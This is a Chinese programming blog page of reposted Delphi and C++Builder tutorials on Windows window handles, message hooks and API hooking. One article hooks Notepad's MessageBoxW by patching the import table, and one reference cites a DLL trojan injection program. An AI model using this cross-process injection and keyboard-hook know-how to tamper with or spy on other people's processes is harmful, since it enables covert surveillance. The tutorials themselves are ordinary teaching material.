  writeiniStr(INIPath+'TCPUDP.ini','Setting','RemotePort',EditRemotePort.Text);

end;

procedure TFormTCPUDP.FormActivate(Sender: TObject);
begin
  if FirstFlag then
  begin
    FirstFlag:=false;
    ReadTCPUDPIni();
  end;
end;

procedure TFormTCPUDP.CmbSendToKeyPress(Sender: TObject; var Key: Char);
begin
  key:=chr(0);
end;

end.

Delphi通过指点操作获得窗口句柄

mikel阅读(1206)

Delphi通过指点操作获得窗口句柄

 

首先需要说明要在Delphi 实现Sendkeys功能,应该使用Journal Playback钩子(hook)函数,
而不是使用SendMessage函数。下面我们来介绍如何利用鼠标移动让用户选择窗口,而程序
进一步得到窗口的句柄。Windows API中有一个函数WindowFromPoint,只要知道鼠标的位置
(屏幕坐标),就可以得到该位置所属的窗口的句柄,有了句柄,就可以利用其他的函数得到
更多的信息。如果鼠标在程序的窗口中移动,可以得到MouseMove事件。要想鼠标在窗口外部
移动时,仍能得到鼠标事件,必须使用SetCapture函数。下面这个例子就是利用这两个函数
来实现你所要求的功能。

type
TForm1 = class(TForm)
…………
public
procedure InvertTracker(hwndDest : Integer);
end;
…………
var
Form1: TForm1;
mlngHwndCaptured: Integer;
hWndLast: Integer;
…………
procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
var pt : TPoint;
begin
if GetCapture() <> 0 then // 处于捕捉状态
begin
pt.X := X;
pt.Y := Y;
ClientToScreen(pt); // 获得鼠标的屏幕位置
// 获得窗口句柄
mlngHwndCaptured := WindowFromPoint(pt);

if hWndLast <> mlngHwndCaptured then
begin
if hWndLast <> 0 then // 使窗口边框加粗
InvertTracker(hWndLast);
InvertTracker(mlngHwndCaptured);
hWndLast := mlngHwndCaptured;
end
end;
// 显示坐标和窗口句柄
Caption := ‘X: ‘ + IntToStr(x) + ‘, Y: ‘ + IntToStr(y)
+ ‘, hWnd: ‘ + IntToStr(mlngHwndCaptured);
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if SetCapture(handle) <> 0 then // 开始捕捉
Cursor := crUpArrow;
end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var strCaption: PChar;
begin
If mlngHwndCaptured <> 0 Then
begin // 获得窗口标题
strCaption := StrAlloc(1000);
GetWindowText(mlngHwndCaptured, strCaption, 1000);
Caption := StrPas(strCaption);
InvalidateRect(0, PRect(0), True);
mlngHwndCaptured := 0;
Cursor := crDefault;
ReleaseCapture;
StrDispose(strCaption);
hWndLast := 0;
end
end;
// 使窗口边框变粗
procedure TForm1.InvertTracker(hwndDest: Integer);
var
hdcDest, hPen, hOldPen, hOldBrush : Integer;
cxBorder, cxFrame, cyFrame, cxScreen, cyScreen, cr : Integer;
rc : TRect;
Const NULL_BRUSH = 5;
Const R2_NOT = 6;
Const PS_INSIDEFRAME = 6;
begin
cxScreen := GetSystemMetrics(0);
cyScreen := GetSystemMetrics(1);
cxBorder := GetSystemMetrics(5);
cxFrame := GetSystemMetrics(32);
cyFrame := GetSystemMetrics(33);
GetWindowRect(hwndDest, rc);

hdcDest := GetWindowDC(hwndDest);

SetROP2(hdcDest, R2_NOT);
cr := clBlack;
hPen := CreatePen(PS_INSIDEFRAME, 3 * cxBorder, cr);

hOldPen := SelectObject(hdcDest, hPen);
hOldBrush := SelectObject(hdcDest, GetStockObject(NULL_BRUSH));
Rectangle(hdcDest, 0, 0, rc.Right – rc.Left, rc.Bottom – rc.Top);
SelectObject(hdcDest, hOldBrush);
SelectObject(hdcDest, hOldPen);

ReleaseDC(hwndDest, hdcDest);
DeleteObject(hPen);
end;
// 将窗口移动到左上角,并减少窗口高度,便于操作
procedure TForm1.FormCreate(Sender: TObject);
begin
Left := 0;
Top :=0;
ClientHeight := 76;
end;

运行该程序时,先在程序窗口内点一下,然后按住鼠标左键不放,移动鼠标,这时你会
看到程序窗口的标题位置不断显示鼠标的当前位置(窗口坐标)和鼠标所在位置的窗口句柄。
同时,被选中的窗口边框加粗,一旦放开左键,则程序窗口的标题就改为所选中窗口的标题。
相信许多人对这种操作方式都会感到熟悉,因为象Spy++(Visual C++)、Magic Mouse、
Capture Professional等很多软件都是采用类似的操作来选择窗口的。

[转载]API Hook基本原理和实现 - hack_wg的专栏 - 博客频道 - CSDN.NET

mikel阅读(820)

来源: [转载]API Hook基本原理和实现 – hack_wg的专栏 – 博客频道 – CSDN.NET

API Hook基本原理和实现
2009-03-14 20:09
windows系统下的编程,消息message的传递是贯穿其始终的。这个消息我们 可以简单理解为一个有特定意义的整数,正如我们看过的老故事片中的“ 长江长江,我是黄河”一个含义。windows中定义的消息给初学者的印象似乎是“不计其数”的,常见的一部分消息在winuser.h头文件中定义。 hook与消息有着非常密切的联系,它的中文含义是“钩子”,这样理解起来我们不难得出“hook是消息处理中的一个环节,用于监控消息在系统中的传递,并在这些消息到达最终的消息处理过程前,处 理某些特定的消息”。这也是hook分为不同种类的原因。
hook 的这个本领,使它能够将自身的代码“融入”被hook住的程序的进程中,成为目标进程的一个部分。我们也知道,在windows2000以后的系 统中,普通用户程序的进程空间都是独立的,程序的运行彼此间都不受干扰。这就使我们希望通过一个程序改变其他程序的某些行为的想法不能直接实现,但是 hook的出现给我们开拓了解决此类问题的道路。

api hook是什么?
在 windows系统下编程,应该会接触到api函数的使用,常用的api函数大概有2000个左右。今天随着控件,stl等高效编程技术的出现,api 的使用概率在普通的用户程序上就变得越来越小了。当诸如控件这些现成的手段不能实现的功能时,我们还需要借助api。最初有些人对某些api函数的功能不 太满意,就产生了如何修改这些api,使之更好的服务于程序的想法,这样api hook就自然而然的出现了。我们可以通过api hook,改变一个系统api的原有功能。基本的方法就是通过hook“接触”到需要修改的api函数入口点,改变它的地址指向新的自定义的函数。api hook并不属于msdn上介绍的13类hook中的任何一种。所以说,api hook并不是什么特别不同的hook,它也需要通过基本的hook提高自己的权限,跨越不同进程间访问的限制,达到修改api函数地址的目的。对于自身进程空间下使用到的api函数地址的修改,是不需要用到api hook技术就可以实现的。

api hook和pe格式的关系
api hook技术的难点,并不在于hook技术,初学者借助于资料“照葫芦画瓢”能够很容易就掌握hook的基本使用技术。但是如何修改api函数的入口地 址?这就需要学习pe可执行文件(.exe,.dll等)如何被系统映射到进程空间中,这就需要学习pe格式的基本知识。windows已经提供了很多数 据结构struct帮助我们访问pe格式,借助它们,我们就不要自己计算格式的具体字节位置这些繁琐的细节。但是从api hook的实现来看,pe格式的访问部分仍然是整个编程实现中最复杂的一部分,对于经常crack的朋友不在此列。
假设我们已经了解了pe格式,那么我们在哪里修改api的函数入口点比较合适呢?这个就是输入符号表imported symbols table(间接)指向的输入符号地址。
下面对于pe格式的介绍这一部分,对于没有接触过pe格式学习的朋友应该是看不太明白的,但我已经把精华部分提取出来了,学习了pe格式后再看这些就很容易了。

pe格式的基本组成
+——————-+
| DOS-stub | –DOS-头
+——————-+
| file-header | –文件头
+——————-+
| optional header | –可选头
|- – – – – – – – – -|
| |
| data directories | –(可选头尾的)数据目录
| |
+——————-+
| |
| section headers | –节头
| |
+——————-+
| |
| section 1 | –节1
| |
+——————-+
| |
| section 2 | –节2
| |
+——————-+
| |
| … |
| |
+——————-+
| |
| section n | –节n
| |
+——————-+
在上图中,我们需要从“可选头”尾的“数据目录”数组中的第二个元素——输入符号表的位置,它是一个IMAGE_DATA_DIRECTORY结构,从它中的VirtualAddress地址,“顺藤摸瓜”找到api函数的入口地点。
下图的简单说明如下:
OriginalFirstThunk 指向IMAGE_THUNK_DATA结构数组,为方便只画了数组的一个元素,AddressOfData 指向IMAGE_IMPORT_BY_NAME结构。
IMAGE_IMPORT_DESCRIPTOR数组:每个引入的dll文件都对应数组中的一个元素,以全0的元素(20个bytes的0)表示数组的结束
IMAGE_THUNK_DATA32数组:同一组的以全0的元素(4个bytes的0)表示数组的结束,每个元素对应一个IMAGE_IMPORT_BY_NAME结构
IMAGE_IMPORT_BY_NAME:如..@Consts@initialization$qqrv. 表示
Unmangled Borland C++ Function: qualified function __fastcall Consts::initialization()

为了减少这个图的大小,不得已将汇编和c++的结构都用上了。这个图是输入符号表初始化的情形,此时两个IMAGE_THUNK_DATA结构数组的对应元素都指向同一个IMAGE_IMPORT_BY_NAME结构。
程序加载到进程空间后,两个IMAGE_THUNK_DATA结构数组指向有所不同了。看下图:


始化的,“两个结构都指向同一个IMAGE_IMPORT_BY_NAME”,此时还没有api函数地址


当PE文件准备执行时,前图已转换成上图。一个结构指向不变,另一个出现api函数地址

如 果PE文件从kernel32.dll中引入10个函数,那么IMAGE_IMPORT_DESCRIPTOR 结构的 Name1域包含指向字符串”kernel32.dll”的RVA,同时每个IMAGE_THUNK_DATA 数组有10个元素。(RVA是指相对地址,每一个可执行文件在加载到内存空间前,都以一个基址作为起点,其他地址以基址为准,均以相对地址表示。这样系统 加载程序到不同的内存空间时,都可以方便的算出地址)
上述这些结构可以在winnt.h头文件里查到。

具体编程实现
我将手上的vc示例代码进行了适当修正,修改了一些资源泄漏的小问题,移植到c++builder6 & update4上,经过测试已经可以完成基本的api hook功能。有几个知识点说明一下:
1、 dll中共享内存变量的实现
正常编译下的dll,它的变量使用到的内存是独立的。比如你同时运行两个调用了某个dll的用户程序,试图对某一个在dll中定义的全局变量修改赋值的时候,两个程序里的变量值仍然是不同的。
共享的方法为:在.cpp文件(.h文件里如此设置会提示编译错误)的头部写上如上两行:
#pragma option -zRSHSEG // 改变缺省数据段名
#pragma option -zTSHCLASS // 改变缺省数据类名

HINSTANCE hdll = NULL; // 用来保存该动态连接库的句柄
HHOOK hApiHook = NULL; // 钩子句柄
HHOOK hWndProc = NULL; // 窗口过程钩子用来拦截SendMessage
int threadId = 0;

另外建立一个与dll同名,不同后缀的def文件,如HookDll.def文件,写上:
LIBRARY HookDll.dll
EXPORTS
;…
SEGMENTS
SHSEG CLASS ‘SHCLASS’ SHARED
;end

这样设置后在.cpp文件中定义的变量,如果进行了初始化,将进入“SHCLASS”共享内存段(如果不初始化,将不改变其默认段属性)。

上述的共享对于本示例代码并不是必须的,只是稍微演示了一下。

2、 api hook修改api函数入口点地址的时机
很 显然,我们必须通过hook进入目标进程的地址空间后,再在位于该地址空间里的hook消息处理过程里修改输入符号表“指向”的api函数入口点地址, 退出hook前也必须在这个消息处理过程里恢复原来的地址。只要我们牢记修改的过程发生在目标进程的地址空间中,就不会发生访问违例的错误了。
示例代码使用了WH_GETMESSAGE、WH_CALLWNDPROC两中hook来演示如何hook api,但WH_GETMESSAGE实际上并没有完成具体的功能。
为了让初学者尽快的掌握重点,我将代码进行了简化,是一个不健壮、不灵活的演示示例。

3、 函数的内外部表现形式
例 如api函数MessageBox,这个形式是我们通常用到的,但到了dll里,它的名字很可能出现了两个形式,一个是MessageBoxA,另一个 是MessageBoxW,这是因为系统需要适应Ansi和Unicode编码的两种形式,我们不在函数尾端添加“A”或“W”,是不能hook到需要的 函数的。

4、 辅助pe格式查看工具
PE Explorer是一个非常好的查看pe资源的工具,通过它可以验证自己手工计算的pe地址,可以更快的掌握pe格式。
调试器ollydbg也是非常好的辅助工具,例如查看输入符号表中的api函数。

5、 程序文件列表
dll基本文件:Hook.h,Hook.cpp,HookDll.def
client验证方基本文件:HookTest.h,HookTest.cpp,ApiHookTest.cpp

6、 实现的功能
对记事本的MessageBoxW函数进行了hook,先执行自定义的
int WINAPI MyMessageBoxW(HWND hWnd, LPCWSTR M1, LPCWSTR M2, UINT M3)
{
return oldMessageBoxW(hWnd, M1, L”my api hook”, M3);
}
从这里可以看到,由于目标进程空间中的执行线程并不知道你已经改变了api函数的实际入口地址,它在调用时仍旧将参数一成不变的压入堆栈(这个说法是汇编代码时看到的等价情形),事实上你已经提前接收到了函数调用的所有参数。这里就是篇首帖子的回复了。


hook之前


hook以后

示例代码
1、client验证方的代码非常简单。建立一个Application工程,在窗体上放一个memo(提示信息),两个button(一个SetHook,另一个RemoveHook)。
void __fastcall TForm1::Button1Click(TObject *Sender)
{
DWORD dwProcessId, dwThreadID;

HWND hWnd = FindWindow(“Notepad”, NULL);
if (!hWnd)
{
Memo1->Lines->Add(“Nodepad is not found”);
}
else
{
dwThreadID = GetWindowThreadProcessId(hWnd, &dwProcessId);
Memo1->Lines->Add(dwThreadID);
SetHook(dwThreadID);
}
}
//—————————————————————————
void __fastcall TForm1::Button2Click(TObject *Sender)
{
RemoveHook();
}
//—————————————————————————

2、api hook dll稍微复杂些,建立一个dll工程之后,修改之。代码中有一些函数并未用上,ReplaceApiAddress是核心函数,完整代码参见附件。
参考文献
1、《iczelion汇编程序设计教程》pe专题部分
2、《WINDOWS核心编程》第22章
3、《PE文件格式 1.9版》汉译版,原著B. Luevelsmeyer
4、《跨进程API Hook》,出自http://blog.csdn.net/detrox/archive/2004/01/29/17511.aspx,作者detrox
5、《DLL木马注入程序》,出自http://www.mydown.com/code/245/245731.html
6、另有两vc6下的源代码包,APIHOOK与pw,因时间久远,出处不明。在此对原作者的辛勤工作表示真挚的谢意。

[转载]Delphi - 关于钩子函数HOOK (一) - 陌上花开的日志 - 网易博客

mikel阅读(1065)

来源: [转载]Delphi – 关于钩子函数HOOK (一) – 陌上花开的日志 – 网易博客基本概念
钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,
而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允
许应用程序截获处理window消息或特定事件。
钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的
窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,
也可以不作处理而继续传递该消息,还可以强制结束消息的传递。
运行机制
1、钩子链表和钩子子程:
每一个Hook都有一个与之相关联的指针列表,称之为钩子链表,由系统来维护。这个列表的指针指向指定的,
应用程序定义的,被Hook子程调用的回调函数,也就是该钩子的各个处理子程。当与指定的Hook类型关联的
消息发生时,系统就把这个消息传递到Hook子程。一些Hook子程可以只监视消息,或者修改消息,或者停止
消息的前进,避免这些消息传递到下一个Hook子程或者目的窗口。最近安装的钩子放在链的开始,而最早安
装的钩子放在最后,也就是后加入的先获得控制权。
Windows 并不要求钩子子程的卸载顺序一定得和安装顺序相反。每当有一个钩子被卸载,Windows 便释放其
占用的内存,并更新整个Hook链表。如果程序安装了钩子,但是在尚未卸载钩子之前就结束了,那么系统会
自动为它做卸载钩子的操作。
钩子子程是一个应用程序定义的回调函数(CALLBACK Function),不能定义成某个类的成员函数,只能定义为
普通的C函数。用以监视系统或某一特定类型的事件,这些事件可以是与某一特定线程关联的,也可以是系
统中所有线程的事件。
钩子子程必须按照以下的语法:
LRESULT CALLBACK HookProc
(
int nCode,
WPARAM wParam,
LPARAM lParam
);
HookProc是应用程序定义的名字。
nCode参数是Hook代码,Hook子程使用这个参数来确定任务。这个参数的值依赖于Hook类型,每一种Hook都有自
己的Hook代码特征字符集。
wParam和lParam参数的值依赖于Hook代码,但是它们的典型值是包含了关于发送或者接收消息的信息。
2、钩子的安装与释放:
使用API函数SetWindowsHookEx()把一个应用程序定义的钩子子程安装到钩子链表中。SetWindowsHookEx函数总
是在Hook链的开头安装Hook子程。当指定类型的Hook监视的事件发生时,系统就调用与这个Hook关联的Hook链的
开头的Hook子程。每一个Hook链中的Hook子程都决定是否把这个事件传递到下一个Hook子程。Hook子程传递事件
到下一个Hook子程需要调用CallNextHookEx函数。
HHOOK SetWindowsHookEx(
int idHook, // 钩子的类型,即它处理的消息类型
HOOKPROC lpfn, // 钩子子程的地址指针。如果dwThreadId参数为0
// 或是一个由别的进程创建的线程的标识,
// lpfn必须指向DLL中的钩子子程。
// 除此以外,lpfn可以指向当前进程的一段钩子子程代码。
// 钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数。
HINSTANCE hMod, // 应用程序实例的句柄。标识包含lpfn所指的子程的
DLL。
// 如果dwThreadId 标识当前进程创建的一个线程,
// 而且子程代码位于当前进程,hMod必须为NULL。
// 可以很简单的设定其为本应用程序的实例句柄。
DWORD dwThreadId // 与安装的钩子子程相关联的线程的标识符。
// 如果为0,钩子子程与所有的线程关联,即为全局钩子。
);
函数成功则返回钩子子程的句柄,失败返回NULL。
以上所说的钩子子程与线程相关联是指在一钩子链表中发给该线程的消息同时发送给钩子子程,且被钩子子程先处理。
在钩子子程中调用得到控制权的钩子函数在完成对消息的处理后,如果想要该消息继续传递,那么它必须调用另外
一个SDK中的API函数CallNextHookEx来传递它,以执行钩子链表所指的下一个钩子子程。这个函数成功时返回钩子
链中下一个钩子过程的返回值,返回值的类型依赖于钩子的类型。这个函数的原型如下:
LRESULT CallNextHookEx
(
HHOOK hhk;
int nCode;
WPARAM wParam;
LPARAM lParam;
);
hhk为当前钩子的句柄,由SetWindowsHookEx()函数返回。
NCode为传给钩子过程的事件代码。
wParam和lParam 分别是传给钩子子程的wParam值,其具体含义与钩子类型有关。
钩子函数也可以通过直接返回TRUE来丢弃该消息,并阻止该消息的传递。否则的话,其他安装了钩子的应用程序将
不会接收到钩子的通知而且还有可能产生不正确的结果。
钩子在使用完之后需要用UnHookWindowsHookEx()卸载,否则会造成麻烦。释放钩子比较简单,UnHookWindowsHookEx()
只有一个参数。函数原型如下:
UnHookWindowsHookEx
(
HHOOK hhk;
);
函数成功返回TRUE,否则返回FALSE。
3、一些运行机制:
在Win16环境中,DLL的全局数据对每个载入它的进程来说都是相同的;而在Win32环境中,情况却发生了变化,
DLL函数中的代码所创建的任何对象(包括变量)都归调用它的线程或进程所有。当进程在载入DLL时,操作系统自
动把DLL地址映射到该进程的私有空间,也就是进程的虚拟地址空间,而且也复制该DLL的全局数据的一份拷贝到该
进程空间。也就是说每个进程所拥有的相同的DLL的全局数据,它们的名称相同,但其值却并不一定是相同的,
而且是互不干涉的。
因此,在Win32环境下要想在多个进程中共享数据,就必须进行必要的设置。在访问同一个Dll的各进程之间共享存
储器是通过存储器映射文件技术实现的。也可以把这些需要共享的数据分离出来,放置在一个独立的数据段里,
并把该段的属性设置为共享。必须给这些变量赋初值,否则编译器会把没有赋初始值的变量放在一个叫未被初
始化的数据段中。
#pragma data_seg预处理指令用于设置共享数据段。例如:
#pragma data_seg(“SharedDataName”)
HHOOK hHook=NULL;
#pragma data_seg()
在#pragma data_seg(“SharedDataName”)和#pragma data_seg()之间的所有变量将被访问该Dll的所有进程看到
和共享。再加上一条指令#pragma comment(linker,”/section:.SharedDataName,rws”),那么这个数据节中的数
据可以在所有DLL的实例之间共享。所有对这些数据的操作都针对同一个实例的,而不是在每个进程的地址空间中都有一份。
当进程隐式或显式调用一个动态库里的函数时,系统都要把这个动态库映射到这个进程的虚拟地址空间里(以下
简称”地址空间”)。这使得DLL成为进程的一部分,以这个进程的身份执行,使用这个进程的堆栈。
4、系统钩子与线程钩子:
SetWindowsHookEx()函数的最后一个参数决定了此钩子是系统钩子还是线程钩子。
线程勾子用于监视指定线程的事件消息。线程勾子一般在当前线程或者当前线程派生的线程内。
系统勾子监视系统中的所有线程的事件消息。因为系统勾子会影响系统中所有的应用程序,所以勾子函数必须
放在独立的动态链接库(DLL) 中。系统自动将包含”钩子回调函数”的DLL映射到受钩子函数影响的所有进程的地
址空间中,即将这个DLL注入了那些进程。
几点说明:
(1)如果对于同一事件(如鼠标消息)既安装了线程勾子又安装了系统勾子,那么系统会自动先调用线程勾子,
然后调用系统勾子。
(2)对同一事件消息可安装多个勾子处理过程,这些勾子处理过程形成了勾子链。当前勾子处理结束后应把勾
子信息传递给下一个勾子函数。
(3)勾子特别是系统勾子会消耗消息处理时间,降低系统性能。只有在必要的时候才安装勾子,在使用完毕后要及时卸载。
钩子类型
每一种类型的Hook可以使应用程序能够监视不同类型的系统消息处理机制。下面描述所有可以利用的Hook类型。
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks
WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。系统在消息发送到接收窗口过
程之前调用WH_CALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。
WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传递到Hook子程。
CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。
2、WH_CBT Hook
在以下事件之前,系统都会调用WH_CBT Hook子程,这些事件包括:
1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;
2. 完成系统指令;
3. 来自系统消息队列中的移动鼠标,键盘事件;
4. 设置输入焦点事件;
5. 同步系统消息队列事件。
Hook子程的返回值确定系统是否允许或者防止这些操作中的一个。
3、WH_
Debug Hook
在系统调用系统中与其他Hook关联的Hook子程之前,系统会调用WH_Debug Hook子程。你可以使用这个Hook来决
定是否允许系统调用与其他Hook关联的Hook子程。
4、WH_FOREGROUNDIDLE Hook
当应用程序的前台线程处于空闲状态时,可以使用WH_FOREGROUNDIDLE Hook执行低优先级的任务。当应用程序的
前台线程大概要变成空闲状态时,系统就会调用WH_FOREGROUNDIDLE Hook子程。
5、WH_GETMESSAGE Hook
应用程序使用WH_GETMESSAGE Hook来监视从GetMessage or PeekMessage函数返回的消息。你可以使用
WH_GETMESSAGE Hook去监视鼠标和键盘输入,以及其他发送到消息队列中的消息。
6、WH_JOURNALPLAYBACK Hook
WH_JOURNALPLAYBACK Hook使应用程序可以插入消息到系统消息队列。可以使用这个Hook回放通过使用
WH_JOURNALRECORD Hook记录下来的连续的鼠标和键盘事件。只要WH_JOURNALPLAYBACK Hook已经安装,
正常的鼠标和键盘事件就是无效的。
WH_JOURNALPLAYBACK Hook是全局Hook,它不能象线程特定Hook一样使用。
WH_JOURNALPLAYBACK Hook返回超时值,这个值告诉系统在处理来自回放Hook当前消息之前需要等待多长
时间(毫秒)。这就使Hook可以控制实时事件的回放。
WH_JOURNALPLAYBACK是system-wide local hooks,它們不會被注射到任何行程位址空間。
7、WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook用来监视和记录输入事件。典型的,可以使用这个Hook记录连续的鼠标和键盘事件,
然后通过使用WH_JOURNALPLAYBACK Hook来回放。
WH_JOURNALRECORD Hook是全局Hook,它不能象线程特定Hook一样使用。
WH_JOURNALRECORD是system-wide local hooks,它們不會被注射到任何行程位址空間。
8、WH_KEYBOARD Hook
在应用程序中,WH_KEYBOARD Hook用来监视WM_KEYDOWN and WM_KEYUP消息,这些消息通过
GetMessage or PeekMessage function返回。可以使用这个Hook来监视输入到消息队列中的键盘消息。
9、WH_KEYBOARD_LL Hook
WH_KEYBOARD_LL Hook监视输入到线程消息队列中的键盘消息。
10、WH_MOUSE Hook
WH_MOUSE Hook监视从GetMessage 或者 PeekMessage 函数返回的鼠标消息。使用这个Hook监视输入
到消息队列中的鼠标消息。
11、WH_MOUSE_LL Hook
WH_MOUSE_LL Hook监视输入到线程消息队列中的鼠标消息。
12、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以监视菜单,滚动条,消息框,对话框消息并且发现
用户使用ALT+TAB or ALT+ESC 组合键切换窗口。WH_MSGFILTER Hook只能监视传递到菜单,滚动条,
消息框的消息,以及传递到通过安装了Hook子程的应用程序建立的对话框的消息。
WH_SYSMSGFILTER Hook监视所有应用程序消息。
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以在模式循环期间过滤消息,这等价于在主消息循环中过滤消息。
通过调用CallMsgFilter function可以直接的调用WH_MSGFILTER Hook。通过使用这个函数,
应用程序能够在模式循环期间使用相同的代码去过滤消息,如同在主消息循环里一样。
13、WH_SHELL Hook
外壳应用程序可以使用WH_SHELL Hook去接收重要的通知。当外壳应用程序是激活的并且当顶层
窗口建立或者销毁时,系统调用WH_SHELL Hook子程。
WH_SHELL 共有5钟情況:
1. 只要有个top-level、unowned 窗口被产生、起作用、或是被摧毁;
2. 当Taskbar需要重画某个按钮;
3. 当系统需要显示关于Taskbar的一个程序的最小化形式;
4. 当目前的键盘布局状态改变;
5. 当使用者按Ctrl+Esc去执行Task Manager(或相同级别的程序)。
按照惯例,外壳应用程序都不接收WH_SHELL消息。所以,在应用程序能够接收WH_SHELL消息之前,
应用程序必须调用SystemParametersInfo function注册它自己。
Delphi – 关于钩子函数HOOK (2)
消息钩子函数入门篇
Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。
而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,
来完成普通应用程序难以实现的功能。钩子可以监视系统或进程中的各种事件消息,截获发往
目标窗口的消息并进行处理。这样,我们就可以在系统中安装自定义的钩子,监视系统中特定
事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。可见,
利用钩子可以实现许多特殊而有用的功能。因此,对于高级编程人员来说,掌握钩子的编程方法是很有必要的。
钩子的类型
一. 按事件分类,有如下的几种常用类型
(1) 键盘钩子和低级键盘钩子可以监视各种键盘消息。
(2) 鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。
(3) 外壳钩子可以监视各种Shell事件消息。比如启动和关闭应用程序。
(4) 日志钩子可以记录从系统消息队列中取出的各种事件消息。
(5) 窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。
此外,还有一些特定事件的钩子提供给我们使用,不一一列举。
下面描述常用的Hook类型:
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks
WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。系统在消息
发送到接收窗口过程之前调用WH_CALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用
WH_CALLWNDPRO CRET Hook子程。WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传
递到Hook子程。CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值,同样也包括了与
这个消息关联的消息参数。
2、WH_CBT Hook
在以下事件之前,系统都会调用WH_CBT Hook子程,这些事件包括:
1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;
2. 完成系统指令;
3. 来自系统消息队列中的移动鼠标,键盘事件;
4. 设置输入焦点事件;
5. 同步系统消息队列事件。
Hook子程的返回值确定系统是否允许或者防止这些操作中的一个。
3、WH_Debug Hook
在系统调用系统中与其他Hook关联的Hook子程之前,系统会调用WH_DEBUG Hook子程。
你可以使用这个Hook来决定是否允许系统调用与其他Hook关联的Hook子程。
4、WH_FOREGROUNDIDLE Hook
当应用程序的前台线程处于空闲状态时,可以使用WH_FOREGROUNDIDLE Hook执行低优先级的任务。
当应用程序的前台线程大概要变成空闲状态时,系统就会调用WH_FOREGROUNDIDLE Hook子程。
5、WH_GETMESSAGE Hook
应用程序使用WH_GETMESSAGE Hook来监视从GetMessage or PeekMessage函数返回的消息。
你可以使用WH_GETMESSAGE Hook去监视鼠标和键盘输入,以及其他发送到消息队列中的消息。
6、WH_JOURNALPLAYBACK Hook
WH_JOURNALPLAYBACK Hook使应用程序可以插入消息到系统消息队列。可以使用这个Hook回放通过
使用WH_JOURNALRECORD Hook记录下来的连续的鼠标和键盘事件。只要WH_JOURNALPLAYBACK Hook已经安装,
正常的鼠标和键盘事件就是无效的。WH_JOURNALPLAYBACK Hook是全局Hook,它不能象线程特定Hook一样使用。
WH_JOURNALPLAYBACK Hook返回超时值,这个值告诉系统在处理来自回放Hook当前消息之前需要等待多长
时间(毫秒)。这就使Hook可以控制实时事件的回放。WH_JOURNALPLAYBACK是system-wide local hooks,
它們不會被注射到任何行程位址空間。(估计按键精灵是用这个hook做的)
7、WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook用来监视和记录输入事件。典型的,可以使用这个Hook记录连续的鼠标和键盘事件,
然后通过使用WH_JOURNALPLAYBACK Hook来回放。WH_JOURNALRECORD Hook是全局Hook,它不能象线程特定
Hook一样使用。WH_JOURNALRECORD是system-wide local hooks,它們不會被注射到任何行程位址空間。
8、WH_KEYBOARD Hook
在应用程序中,WH_KEYBOARD Hook用来监视WM_KEYDOWN and WM_KEYUP消息,这些消息通过
GetMessage or PeekMessage function返回。可以使用这个Hook来监视输入到消息队列中的键盘消息。
9、WH_KEYBOARD_LL Hook
WH_KEYBOARD_LL Hook监视输入到线程消息队列中的键盘消息。
10、WH_MOUSE Hook
WH_MOUSE Hook监视从GetMessage 或者 PeekMessage 函数返回的鼠标消息。
使用这个Hook监视输入到消息队列中的鼠标消息。
11、WH_MOUSE_LL Hook
WH_MOUSE_LL Hook监视输入到线程消息队列中的鼠标消息。
12、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以监视菜单,滚动条,消息框,对话框消息并且发现用
户使用ALT+TAB or ALT+ESC 组合键切换窗口。WH_MSGFILTER Hook只能监视传递到菜单,滚动条,消息框的消息,
以及传递到通过安装了Hook子程的应用程序建立的对话框的消息。WH_SYSMSGFILTER Hook监视所有应用程序消息。
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以在模式循环期间过滤消息,这等价于在主消息循环中过滤消息。
通过调用CallMsgFilter function可以直接的调用WH_MSGFILTER Hook。通过使用这个函数,应用程序能够在模式
循环期间使用相同的代码去过滤消息,如同在主消息循环里一样。
13、WH_SHELL Hook
外壳应用程序可以使用WH_SHELL Hook去接收重要的通知。当外壳应用程序是激活的并且当顶层窗口建立或者销毁时,
系统调用WH_SHELL Hook子程。
WH_SHELL 共有5种情況:
1. 只要有个top-level、unowned 窗口被产生、起作用、或是被摧毁;
2. 当Taskbar需要重画某个按钮;
3. 当系统需要显示关于Taskbar的一个程序的最小化形式;
4. 当目前的键盘布局状态改变;
